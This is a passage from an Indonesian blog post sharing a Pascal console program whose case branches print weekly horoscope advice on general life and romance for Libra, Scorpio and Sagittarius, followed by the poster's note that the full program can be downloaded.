102.  writeln('Anda tetap saja menikmati hidup Anda. Tapi jangan juga menutup diri. Kalau ada yang ingin membantu Anda,');  
103.  writeln('terima dan nikmati. Dan jangan juga membuat rencana terlalu banyak pada akhir pekan ini.');  
104.  writeln('Ingat, waktu Anda sangat berharga.');  
105.    end;  
106. 10 :begin  
107.  writeln('Bagi anda para Libra');  
108.  writeln('UMUM : Jangan takut untuk mencoba berbagai hal baru seperti musik baru, restoran baru, atau gaya baru.');  
109.  writeln('Jangan takut juga untuk mengambil tantangan baru. Justru di situlah letak "isi" Anda. Bukankah Anda');  
110.  writeln('dilahirkan untuk menghadapi tantangan? So, jangan mengelak. Ingat, tantangan itu bisa saja membawa perubahan dalam hidup Anda');  
111.  writeln();  
112.  writeln('ASMARA : Anda memiliki kemampuan yang luar biasa untuk mengubah emosi ke dalam ekspresi. Hal inilah yang membuat kehidupan cinta Anda');  
113.  writeln('tetap berjalan menarik. Dan ketahuilah, pasangan Anda tergila-gila karena hal tersebut. Anda tak terlalu banyak berbicara,');  
114.  writeln('namun sikap yang hangat dan lembut yang selalu Anda berikan membuatnya engan berada jauh dari sisi Anda.');  
115.     end;  
116. 11 :begin  
117.  writeln('Bagi anda para Scorpio');  
118.  writeln('UMUM : Perhatikan tantangan baru yang akan datang minggu ini. Meskipun Anda tak takut dan bisa menghadapi');  
119.  writeln('tantangan baru, apa pun itu, Anda tetap saja perlu mempersiapkan diri, Anda harus ingat baik-baik');  
120.  writeln('bahwa tak semua tantangan membawa "isi" yang sama. Pasti bobotnya berbeda.');  
121.  writeln();  
122.  writeln('ASMARA : Ingatlah untuk tetap saling berbagi dan saling memperhatikan. Jangan biarkan komunikasi Anda');  
123.  writeln('dengan si dia terputus, atau Anda akan menyesal jika kemudian terjadi sesuatu yang tidak diharapkan.');  
124.  writeln('Keluarkan keluh kesah Anda agar dia mengerti apa yang Anda inginkan. Dan perhatikan pula keluh kesahnya');  
125.  writeln('agar hubungan Anda tetap seimbang. Untuk Anda yang belum memiliki pasangan, Anda akan menemukan seseorang');  
126.  writeln('yang menarik perhatian Anda di lingkungan yang sama dengan Anda.');  
127.     end;  
128. 12 :begin  
129.  writeln('Bagi anda para Sagitarius');  
130.  writeln('UMUM : Selesaikan pekerjaan Anda secepat mungkin sehingga Anda bisa beristirahat total di akhir pekan nanti.');  
131.  writeln('Anda butuh waktu untuk beristirahat supaya Anda punya semangat dan tenaga yang baru untuk mengerjakan');  
132.  writeln('tugas selanjutnya. Karena itu, jangan sia-siakan waktu istirahat Anda.');  
133.  writeln('Santai sejenak bersama keluarga adalah hal terbaik yang bisa Anda lakukan.');  
134.  writeln();  
135.  writeln('ASMARA : Mungkin selama ini Anda terlalu banyak bicara dan sedikit beraksi. Tunjukkan rasa sayang Anda padanya. Caranya?');  
136.  writeln('Terserah Anda. Anda, misalnya, bisa memberikan kejutan-kejutan kecil yang bisa membangkitkan gairah baru');  
137.  writeln('dalam kehidupan cinta Anda. Jangan takut dicap berlebihan. Apa yang Anda lakukan akan membuatnya senang dan merasa dihargai.');  
138.    end;  
139. end;  
140. end;  

nah itu tdi spotong dari progrmanya,utk contoh program jadinya bisa didownlod disni ya!!
semoga bermanfaat. ..